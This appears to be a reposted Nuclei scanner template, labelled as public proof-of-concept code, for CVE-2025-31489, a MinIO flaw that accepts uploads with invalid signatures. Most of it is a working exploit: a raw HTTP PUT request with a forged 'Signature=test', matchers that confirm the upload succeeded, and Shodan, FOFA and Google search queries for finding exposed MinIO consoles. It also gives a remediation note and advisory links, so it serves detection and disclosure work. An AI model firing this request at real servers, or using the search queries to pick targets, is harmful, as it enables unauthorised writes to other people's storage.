MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access
to - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.
PoC代码[已公开]
id: CVE-2025-31489
info:
name: MinIO - Incomplete Signature Validation for Unsigned-Trailer Uploads
author: iamnoooob,rootxharsh,pdresearch
severity: high
description: |
MinIO is a High Performance Object Storage released under GNU Affero General Public License v3.0. The signature component of the authorization may be invalid, which would mean that as a client you can use any arbitrary secret to upload objects given the user already has prior WRITE permissions on the bucket. Prior knowledge of access-key, and bucket name this user might have access
to - and an access-key with a WRITE permissions is necessary. However with relevant information in place, uploading random objects to buckets is trivial and easy via curl.
remediation: This issue is fixed in RELEASE.2025-04-03T14-56-28Z.
reference:
- https://github.com/minio/minio/pull/21103
- https://github.com/minio/minio/security/advisories/GHSA-wg47-6jq2-q2hh
classification:
epss-score: 0.03124
epss-percentile: 0.86358
metadata:
verified: true
max-request: 1
vendor: minio
product: console
shodan-query: http.title:"minio console"
fofa-query:
- app="minio-console"
- title="minio console"
google-query: intitle:"minio console"
tags: cve,cve2025,minio,signature-bypass,intrusive
variables:
bucket: "{{bucket}}"
access_key_id: "{{access_key_id}}"
object: "{{randstr}}.txt"
region: ""
http:
- raw:
- |
PUT /{{bucket}}/{{object}} HTTP/1.1
Host: {{Hostname}}
x-amz-content-sha256: STREAMING-UNSIGNED-PAYLOAD-TRAILER
Authorization: Credential={{access_key_id}}/{{date_time("%Y%M%D")}}/{{region}}/s3/aws4_request, SignedHeaders=host;x-amz-content-sha256;x-amz-date, Signature=test
X-Amz-Decoded-Content-Length: 8
Content-Encoding: aws-chunked
X-Amz-Trailer: x-amz-checksum-crc32
Transfer-Encoding: chunked
Trailer: x-amz-trailer-signature
8
{{rand_text_alphanumeric(8)}}
0
matchers:
- type: dsl
dsl:
- 'contains_all(to_lower(header), "x-amz-id", "x-amz-request-id")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402204aa9155fa5dcb50cf9c08fe7a4833e7f052e36384549612af12d70012d4ec11f0220472dc21e3da938ef8d866f2f1416c9e4d823b6a2c8012b34e4a25bbadab0d64b:922c64590222798bb761d5b6d8e72950